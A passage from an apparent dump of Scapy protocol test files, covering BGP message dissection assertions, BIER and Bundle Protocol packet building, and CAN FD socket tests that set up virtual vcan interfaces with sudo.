nh_addr_len = 16, nh_v6_addr = \"2001:db8::2\", nlri = [BGPNLRI_IPv6(prefix = \"2001:db8:2::/64\")]))) == b'\\x80\\x0e\\x1e\\x00\\x02\\x01\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00@ \\x01\\r\\xb8\\x00\\x02\\x00\\x00'\n\n= BGPPathAttr - Dissection (1)\na = BGPPathAttr(b'\\x90\\x0f\\x00X\\x00\\x02\\x01\\x03`\\x03\\x80\\x03\\xa0\\x03\\xc0\\x04\\xe0\\x05\\xf0\\x06\\xf8\\x10 \\x02`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff@\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x17 \\x01\\x00  \\x01\\x00\\x000 \\x01\\x00\\x02\\x00\\x00  \\x01\\r\\xb8\\n\\xfe\\xc0\\x07\\xfc\\n\\xfe\\x80\\x1c \\x01\\x00\\x10\\x03 \\x06\\x04\\x03@\\x08_\\x05\\x08\\x04\\x10')\na.type_flags == 0x90 and a.type_code == 15 and a.attr_ext_len == 88 and a.attribute.afi == 2 and a.attribute.safi == 1 and a.attribute.afi_safi_specific.withdrawn_routes[0].prefix == \"6000::/3\" and a.attribute.afi_safi_specific.withdrawn_routes[1].prefix == \"8000::/3\" and a.attribute.afi_safi_specific.withdrawn_routes[2].prefix == \"a000::/3\" and a.attribute.afi_safi_specific.withdrawn_routes[3].prefix == \"c000::/3\" and a.attribute.afi_safi_specific.withdrawn_routes[4].prefix == \"e000::/4\" and a.attribute.afi_safi_specific.withdrawn_routes[5].prefix == \"f000::/5\" and a.attribute.afi_safi_specific.withdrawn_routes[23].prefix == \"1000::/4\"\n\n= BGPPathAttr - advanced\nb = BGPPathAttr(type_code=0x10, attribute=BGPPAExtComms(extended_communities=[\n                                                            BGPPAExtCommunity(value=BGPPAExtCommTwoOctetASSpecific()),\n                                                            BGPPAExtCommunity(value=BGPPAExtCommIPv4AddressSpecific()),\n                                                            BGPPAExtCommunity(value=BGPPAExtCommFourOctetASSpecific()),\n                                                            BGPPAExtCommunity(value=BGPPAExtCommOpaque()),\n                                                            BGPPAExtCommunity(value=BGPPAExtCommTrafficMarking()),\n                                                            BGPPAExtCommunity(value=BGPPAExtCommRedirectIPv4()),\n                                                            BGPPAExtCommunity(value=BGPPAExtCommRedirectAS4Byte()),\n                                                        ]))\nb = BGPPathAttr(raw(b))\ncls_list = [x.value.__class__ for x in b.attribute.extended_communities]\nassert cls_list == [BGPPAExtCommTwoOctetASSpecific, BGPPAExtCommIPv4AddressSpecific, BGPPAExtCommFourOctetASSpecific, BGPPAExtCommOpaque,\n                    BGPPAExtCommTrafficMarking, BGPPAExtCommRedirectIPv4, BGPPAExtCommRedirectAS4Byte]\nb.show()\n\n################################# BGPUpdate ##################################\n+ BGPUpdate class tests\n\n= BGPUpdate - Instantiation\nraw(BGPUpdate()) == b'\\x00\\x00\\x00\\x00'\n\n= BGPUpdate - Dissection (1)\nbgp_module_conf.use_2_bytes_asn = True\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x000\\x02\\x00\\x19\\x18\\xc0\\xa8\\x96\\x18\\x07\\x07\\x07\\x18\\xc63d\\x18\\xc0\\xa8\\x01\\x19\\x06\\x06\\x06\\x00\\x18\\xc0\\xa8\\x1a\\x00\\x00')\nassert BGPHeader in m and BGPUpdate in m\nassert m.withdrawn_routes_len == 25\nassert m.withdrawn_routes[0].prefix == \"192.168.150.0/24\"\nassert m.withdrawn_routes[5].prefix == \"192.168.26.0/24\"\nassert m.path_attr_len == 0\n\n= BGPUpdate - Behave like a NEW speaker (RFC 6793) - Dissection (2)\nbgp_module_conf.use_2_bytes_asn = False\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00=\\x02\\x00\\x00\\x00\"@\\x01\\x01\\x00@\\x02\\x06\\x02\\x01\\x00\\x00\\xfb\\xfa@\\x03\\x04\\xc0\\xa8\\x10\\x06\\x80\\x04\\x04\\x00\\x00\\x00\\x00\\xc0\\x08\\x04\\xff\\xff\\xff\\x01\\x18\\xc0\\xa8\\x01')\nassert BGPHeader in m and BGPUpdate in m\nassert m.path_attr[1].attribute.segments[0].segment_value == [64506]\nassert m.path_attr[4].attribute.community == 0xFFFFFF01\nassert m.nlri[0].prefix == \"192.168.1.0/24\"\n\n\n\n= BGPUpdate - Dissection (MP_REACH_NLRI)\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\xd8\\x02\\x00\\x00\\x00\\xc1@\\x01\\x01\\x00@\\x02\\x06\\x02\\x01\\x00\\x00\\xfb\\xf6\\x90\\x0e\\x00\\xb0\\x00\\x02\\x01 \\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\xfa\\xc0\\x01\\x00\\x15\\xde\\x15\\x81\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\xfa\\xc0\\x01\\x00\\x15\\xde\\x15\\x81\\x00\\x06\\x04\\x05\\x08\\x04\\x10\\x03`\\x03\\x80\\x03\\xa0\\x03\\xc0\\x04\\xe0\\x05\\xf0\\x06\\xf8\\t\\xfe\\x00\\x16 \\x01<\\x08-\\x07.\\x040\\x10?\\xfe\\x10 \\x02\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff@\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x17 \\x01\\x00  \\x01\\x00\\x000 \\x01\\x00\\x02\\x00\\x00  \\x01\\r\\xb8\\x1c \\x01\\x00\\x10\\x07\\xfc\\n\\xfe\\x80\\x08\\xff\\n\\xfe\\xc0\\x03 \\x03@\\x08_`\\x00d\\xff\\x9b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x08\\x01\\x07\\x02')\nassert BGPHeader in m and BGPUpdate in m\nassert m.path_attr[2].attribute.afi == 2\nassert m.path_attr[2].attribute.safi == 1\nassert m.path_attr[2].attribute.nh_addr_len == 32\nassert m.path_attr[2].attribute.nh_v6_global == \"fe80::fac0:100:15de:1581\"\nassert m.path_attr[2].attribute.nh_v6_link_local == \"fe80::fac0:100:15de:1581\"\nassert m.path_attr[2].attribute.nlri[0].prefix == \"400::/6\"\nassert m.nlri == []\n\n= BGPUpdate - Dissection (MP_UNREACH_NLRI)\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00s\\x02\\x00\\x00\\x00\\\\\\x90\\x0f\\x00X\\x00\\x02\\x01\\x03`\\x03\\x80\\x03\\xa0\\x03\\xc0\\x04\\xe0\\x05\\xf0\\x06\\xf8\\x10 \\x02`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff@\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x17 \\x01\\x00  \\x01\\x00\\x000 \\x01\\x00\\x02\\x00\\x00  \\x01\\r\\xb8\\n\\xfe\\xc0\\x07\\xfc\\n\\xfe\\x80\\x1c \\x01\\x00\\x10\\x03 \\x06\\x04\\x03@\\x08_\\x05\\x08\\x04\\x10')\nassert BGPHeader in m and BGPUpdate in m\nassert m.path_attr[0].attribute.afi == 2\nassert m.path_attr[0].attribute.safi == 1\nassert m.path_attr[0].attribute.afi_safi_specific.withdrawn_routes[0].prefix == \"6000::/3\"\nassert m.nlri == []\n\n= BGPUpdate - Dissection (with BGP Additional Path)\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x17\\x05\\x00\\x01\\x01\\x01\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\xd0\\x02\\x00\\xb9\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\xb2\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x90\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x93\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\xbb\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x9f\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x8c\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\xb1\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x8f\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x98\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x9b\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x8b\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\xb3\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x91\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\xb6\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x94\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x97\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\xbc\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x9d\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\xa3\\x00\\x00\\x00\\x04 \\n\\xe9\\x19\\x84\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x005\\x02\\x00\\x00\\x00\\x15@\\x01\\x01\\x00@\\x02\\x00@\\x03\\x04\\n\\x16\\x0cX@\\x05\\x04\\x00\\x00\\x00d\\x00\\x00\\x00\\x02 \\n\\xe9\\x00\\x16\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x17\\x05\\x00\\x01\\x02\\x01')\nassert m.withdrawn_routes[0].nlri_path_id == 2\nassert len(m.withdrawn_routes) == 21\nassert m.withdrawn_routes[-1].sprintf(\"%prefix%\") == \"10.233.25.132/32\"\nassert len(m.getlayer(BGPUpdate, 2).path_attr) == 4\nassert m.getlayer(BGPUpdate, 2).nlri[0].nlri_path_id == 2\nassert m.getlayer(BGPUpdate, 2).nlri[0].sprintf(\"%prefix%\") == \"10.233.0.22/32\"\n\n= BGPUpdate - with BGPHeader\np = BGP(raw(BGPHeader()/BGPUpdate()))\nassert BGPHeader in p and BGPUpdate in p\n\n\n########## BGPNotification Class ###################################\n+ BGPNotification class tests\n\n= BGPNotification - Instantiation\nraw(BGPNotification()) == b'\\x00\\x00'\n\n= BGPNotification - Dissection (Administratively Reset)\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x15\\x03\\x06\\x04')\nm.type == BGP.NOTIFICATION_TYPE and m.error_code == 6 and m.error_subcode == 4\n\n= BGPNotification - Dissection (Bad Peer AS)\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x17\\x03\\x02\\x02\\x00\\x00')\nm.type == BGP.NOTIFICATION_TYPE and m.error_code == 2 and m.error_subcode == 2\n\n= BGPNotification - Dissection (Attribute Flags Error)\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x19\\x03\\x03\\x04\\x80\\x01\\x01\\x00')\nm.type == BGP.NOTIFICATION_TYPE and m.error_code == 3 and m.error_subcode == 4\n\n\n########## BGPRouteRefresh Class ###################################\n+ BGPRouteRefresh class tests\n\n= BGPRouteRefresh - Instantiation\nraw(BGPRouteRefresh()) == b'\\x00\\x01\\x00\\x01'\n\n= BGPRouteRefresh - Instantiation with specific values\nraw(BGPRouteRefresh(afi = 1, safi = 1)) == b'\\x00\\x01\\x00\\x01'\n\n= BGPRouteRefresh - Dissection (1)\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x17\\x05\\x00\\x02\\x00\\x01')\nm.type == BGP.ROUTEREFRESH_TYPE and m.len == 23 and m.afi == 2 and m.subtype == 0 and m.safi == 1\n \n\n= BGPRouteRefresh - Dissection (2) - With ORFs\nm = BGP(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00.\\x05\\x00\\x01\\x00\\x01\\x01\\x80\\x00\\x13 \\x00\\x00\\x00\\x05\\x18\\x18\\x15\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\n\\x00 \\x00')\nassert m.type == BGP.ROUTEREFRESH_TYPE\nassert m.len == 46\nassert m.afi == 1\nassert m.subtype == 0\nassert m.safi == 1\nassert m.orf_data[0].when_to_refresh == 1\nassert m.orf_data[0].orf_type == 128\nassert m.orf_data[0].orf_len == 19\nassert len(m.orf_data[0].entries) == 2\nassert m.orf_data[0].entries[0].action == 0\nassert m.orf_data[0].entries[0].match == 1\nassert m.orf_data[0].entries[0].prefix.prefix == \"1.1.0.0/21\"\nassert m.orf_data[0].entries[1].action == 0\nassert m.orf_data[0].entries[1].match == 0\nassert m.orf_data[0].entries[1].prefix.prefix == \"0.0.0.0/0\"\n\n= BGPRouteRefresh - Dissection (3) - bad ORFS (GH3345)\nm = BGPRouteRefresh(b'\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert m.orf_data.orf_type == 0\nassert m.orf_data.entries[0].load == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n########## BGPCapGeneric fuzz() ###################################\n+ BGPCapGeneric fuzz()\n\n= BGPCapGeneric fuzz()\nfor i in range(10):\n    assert isinstance(raw(fuzz(BGPCapGeneric())), bytes)\n"
  },
  {
    "path": "test/contrib/bier.uts",
    "content": "# BIER unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('bier')\"  -P \"load_contrib('mpls')\"  -t test/contrib/bier.uts\n\n+ BIER tests\n\n= BIER - build/dissection\n\nfrom scapy.contrib.mpls import MPLS\n\np1 = MPLS()/BIER(length=BIERLength.BIER_LEN_256)/IP()/UDP()\nassert p1[MPLS].s == 1\np2 = BIFT()/BIER(length=BIERLength.BIER_LEN_64)/IP()/UDP()\nassert p2[BIFT].s == 1\n\np1[MPLS]\np1[BIER]\np1[IP]\np2[BIFT]\np2[BIER]\np2[IP]\n"
  },
  {
    "path": "test/contrib/bp.uts",
    "content": "% Bundle Protocol tests\n\n############\n############\n+ Bundle Protocol (BP) basic tests\n\n#TODO: no pcap have been found on Internet. Check that scapy correctly decode those too\n\n= Build packets & dissect\n\nfrom scapy.contrib.ltp import LTPex\n\npkt = Ether(src=\"aa:aa:aa:aa:aa:aa\", dst=\"bb:bb:bb:bb:bb:bb\")/IP(src=\"192.168.0.1\", dst=\"192.168.0.2\")/UDP()/LTP(flags=7,\\\n        SessionOriginator=2,\n        SessionNumber=113,\n        HeaderExtensions=[\n            LTPex(ExTag=1, ExData=b\"\\x00\"),\n        ],\n        DATA_ClientServiceID=1,\n        DATA_PayloadOffset=0,\n        LTP_Payload=[\n            BP(ProcFlags=415)/\\\n            BPBLOCK(ProcFlags=10, load=\"data\")\n        ])\n\npkt = Ether(raw(pkt))\nassert LTP in pkt\nbp = pkt[LTP].LTP_Payload[0]\nassert BP in bp\nassert BPBLOCK in bp\nassert bp.load == b\"data\"\n\nbp.mysummary()\n"
  },
  {
    "path": "test/contrib/canfdsocket_native.uts",
    "content": "% Regression tests for nativecanfdsocket\n~ not_pypy vcan_socket needs_root linux\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ Configuration of CAN virtual sockets\n~ conf\n\n= Load module\nload_layer(\"can\", globals_dict=globals())\nconf.contribs['CANSocket'] = {'use-python-can': False}\nfrom scapy.contrib.cansocket_native import *\nconf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True}\n\n\n= Setup string for vcan\nbashCommand = \"/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'\"\n\n= Load os\nimport os\nimport threading\nfrom time import sleep\nfrom subprocess import call\n\n= Setup vcan0\nassert 0 == os.system(bashCommand)\n\n+ Basic Packet Tests()\n= CAN FD Packet init\ncanfdframe = CANFD(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\xaa')\nassert bytes(canfdframe) == b'\\x00\\x00\\x07\\xff\\x08\\x04\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\xaa'\n\n+ Basic Socket Tests()\n= CAN FD Socket Init\nsock1 = CANSocket(channel=\"vcan0\", fd=True)\n\n= CAN Socket send recv small packet without remove padding\n\nconf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': False}\n\nsock2 = CANSocket(channel=\"vcan0\", fd=True)\nsock2.send(CANFD(identifier=0x7ff,length=9,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\xaa'))\nsock2.send(CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock2.close()\n\nrx = sock1.recv()\nassert rx == CANFD(identifier=0x7ff,length=12,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\xaa\\x00\\x00\\x00') / Padding(b\"\\x00\" * (64 - 12))\nrx = sock1.recv()\n# different Kernel Versions produce different packets\nhexdump(rx)\ntest = CANFD(identifier=0x7ff, fd_flags=0, length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08') / Padding(b\"\\x00\" * (64 - 8))\nhexdump(test)\ntest2 = CANFD(identifier=0x7ff,fd_flags=4, length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08') / Padding(b\"\\x00\" * (64 - 8))\nhexdump(test2)\nassert bytes(rx) in [bytes(test), bytes(test2)]\n\n= CAN Socket send recv\n\nconf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True}\n\nsock2 = CANSocket(channel=\"vcan0\", fd=True)\nsock2.send(CANFD(identifier=0x7ff,length=9,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\xaa'))\nsock2.close()\n\nrx = sock1.recv()\nassert rx == CANFD(identifier=0x7ff,length=12, fd_flags=4, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\xaa\\x00\\x00\\x00')\n\n= CAN Socket basecls test\n\n\nsock2 = CANSocket(channel=\"vcan0\", fd=True)\nsock2.send(CANFD(identifier=0x7ff,length=9,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\xaa'))\nsock2.close()\n\nsock1.basecls = Raw\nrx = sock1.recv()\nassert rx.load == bytes(CANFD(identifier=0x7ff, fd_flags=4, length=12,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\xaa\\x00\\x00\\x00' + b'\\x00' * (64 - 12)))\n\n= sniff with filtermask 0x1FFFFFFF and inverse filter\n\n\nsock1 = CANSocket(channel='vcan0', fd=True, can_filters=[{'can_id': 0x10000000 | CAN_INV_FILTER, 'can_mask': 0x1fffffff}])\n\nsock2 = CANSocket(channel=\"vcan0\", fd=True)\nsock2.send(CANFD(flags='extended', identifier=0x10010000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08ab'))\nsock2.send(CANFD(flags='extended', identifier=0x10020000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08ab'))\nsock2.send(CANFD(flags='extended', identifier=0x10000000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08ab'))\nsock2.send(CANFD(flags='extended', identifier=0x10030000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08ab'))\nsock2.send(CANFD(flags='extended', identifier=0x10040000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08ab'))\nsock2.send(CANFD(flags='extended', identifier=0x10000000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08ab'))\nsock2.close()\n\npackets = sock1.sniff(timeout=0.1, verbose=False, count=4)\nassert len(packets) == 4\n\nsock1.close()\n\n+ bridge and sniff tests\n\n= bridge and sniff setup vcan1 package forwarding\n\n\nbashCommand = \"/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'\"\nassert 0 == os.system(bashCommand)\n\nsock0 = CANSocket(channel='vcan0', fd=True)\nsock1 = CANSocket(channel='vcan1', fd=True)\n\nbridgeStarted = threading.Event()\n\ndef bridge():\n    global bridgeStarted\n    bSock0 = CANSocket(channel=\"vcan0\", fd=True)\n    bSock1 = CANSocket(channel='vcan1', fd=True)\n    def pnr(pkt):\n        return pkt\n    bridgeStarted.set()\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False, count=6)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\nsock0.send(CANFD(flags='extended', identifier=0x10010000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x0842'))\nsock0.send(CANFD(flags='extended', identifier=0x10020000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x0842'))\nsock0.send(CANFD(flags='extended', identifier=0x10000000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x0842'))\nsock0.send(CANFD(flags='extended', identifier=0x10030000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x0842'))\nsock0.send(CANFD(flags='extended', identifier=0x10040000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x0842'))\nsock0.send(CANFD(flags='extended', identifier=0x10000000, length=10, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x0842'))\n\npacketsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=6)\nassert len(packetsVCan1) == 6\n\nthreadBridge.join(timeout=5)\nassert not threadBridge.is_alive()\n\nsock1.close()\nsock0.close()\n\n\n= Delete vcan interfaces\n\nif 0 != call([\"sudo\", \"ip\", \"link\", \"delete\", \"vcan0\"]):\n        raise Exception(\"vcan0 could not be deleted\")\n\nif 0 != call([\"sudo\", \"ip\", \"link\", \"delete\", \"vcan1\"]):\n        raise Exception(\"vcan1 could not be deleted\")\n\n"
  },
  {
    "path": "test/contrib/canfdsocket_python_can.uts",
    "content": "% Regression tests for the CANSocket\n~ vcan_socket linux needs_root not_pypy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ Configuration of CAN virtual sockets\n\n= Load module\n~ conf\n \nconf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True}\nload_layer(\"can\", globals_dict=globals())\nconf.contribs['CANSocket'] = {'use-python-can': True}\nfrom scapy.contrib.cansocket_python_can import *\n\n= Setup string for vcan\n~ conf command\nbashCommand = \"/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'\"\n\n= Load os\n~ conf command\n\nimport os\nimport threading\nfrom subprocess import call\n\n= Setup vcan0\n~ conf command\n\n0 == os.system(bashCommand)\n\n= Define common used functions\n\nsend_done = threading.Event()\n\ndef sender(sock, msg):\n    if not hasattr(msg, \"__iter__\"):\n        msg = [msg]\n    for m in msg:\n        sock.send(m)\n    send_done.set()\n\n+ Basic Packet Tests()\n= CAN Packet init\n\ncanframe = CANFD(identifier=0x7ff,length=10,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08ab')\nbytes(canframe) == b'\\x00\\x00\\x07\\xff\\x0c\\x04\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08ab\\x00\\x00'\n\n+ Basic Socket Tests()\n= CAN Socket Init\n\nsock1 = CANSocket(bustype='socketcan', channel='vcan0', fd=True)\nsock1.close()\ndel sock1\nsock1 = None\nassert sock1 == None\n\n= CAN Socket send recv small packet\n\nsock1 = CANSocket(bustype='socketcan', channel='vcan0', fd=True)\nsock2 = CANSocket(bustype='socketcan', channel='vcan0', fd=True)\n\nsock2.send(CANFD(identifier=0x7ff,length=10,data=b'\\x01'*10))\nsock2.send(CAN(identifier=0x7ff,length=1,data=b'\\x01'))\nrx1 = sock1.recv()\nrx2 = sock1.recv()\nsock1.close()\nsock2.close()\n\nassert rx1 == CANFD(identifier=0x7ff,length=10,data=b'\\x01'*10)\nassert rx2 == CAN(identifier=0x7ff,length=1,data=b'\\x01')\n\n\n= CAN Socket send recv small packet test with\n\nwith CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock1, \\\n    CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock2:\n    sock2.send(CANFD(identifier=0x7ff,length=1,data=b'\\x01'))\n    rx = sock1.recv()\n\nassert rx == CANFD(identifier=0x7ff,length=1,data=b'\\x01')\n\n= CAN Socket basecls test\n\nwith CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock1, \\\n    CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock2:\n    sock1.basecls = Raw\n    sock2.send(CANFD(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n    rx = sock1.recv()\n    assert rx == Raw(bytes(CANFD(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')))\n\n= CAN Socket send recv swapped\n\nconf.contribs['CAN']['swap-bytes'] = True\n\nwith CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock1, \\\n    CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock2:\n    sock2.send(CANFD(identifier=0x7ff,length=64,data=b'\\x01' * 64))\n    sock1.basecls = CAN\n    rx = sock1.recv()\n    assert rx == CANFD(identifier=0x7ff,length=64,data=b'\\x01' * 64)\n\nconf.contribs['CAN']['swap-bytes'] = False\n\n= sniff with filtermask 0x7ff\n\nmsgs = [CANFD(identifier=0x200, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8),\n        CANFD(identifier=0x300, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8),\n        CANFD(identifier=0x300, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8),\n        CANFD(identifier=0x200, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8),\n        CANFD(identifier=0x100, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8),\n        CANFD(identifier=0x200, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8)]\n\nwith CANSocket(bustype='socketcan', channel='vcan0', fd=True, can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \\\n        CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=3)\n    assert len(packets) == 3\n\n\n+ bridge and sniff tests\n= bridge and sniff setup vcan1 package forwarding\n\nbashCommand = \"/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'\"\nassert 0 == os.system(bashCommand)\n\nsock0 = CANSocket(bustype='socketcan', channel='vcan0', fd=True)\nsock1 = CANSocket(bustype='socketcan', channel='vcan1', fd=True)\n\nbridgeStarted = threading.Event()\ndef bridge():\n    global bridgeStarted\n    bSock0 = CANSocket(\n        bustype='socketcan', channel='vcan0', bitrate=250000, fd=True)\n    bSock1 = CANSocket(\n        bustype='socketcan', channel='vcan1', bitrate=250000, fd=True)\n    def pnr(pkt):\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=1)\n\nsock0.send(CANFD(flags='extended', identifier=0x10010000, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8))\nsock0.send(CANFD(flags='extended', identifier=0x10020000, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8))\nsock0.send(CANFD(flags='extended', identifier=0x10000000, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8))\nsock0.send(CANFD(flags='extended', identifier=0x10030000, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8))\nsock0.send(CANFD(flags='extended', identifier=0x10040000, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8))\nsock0.send(CANFD(flags='extended', identifier=0x10000000, length=64, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' * 8))\n\npacketsVCan1 = 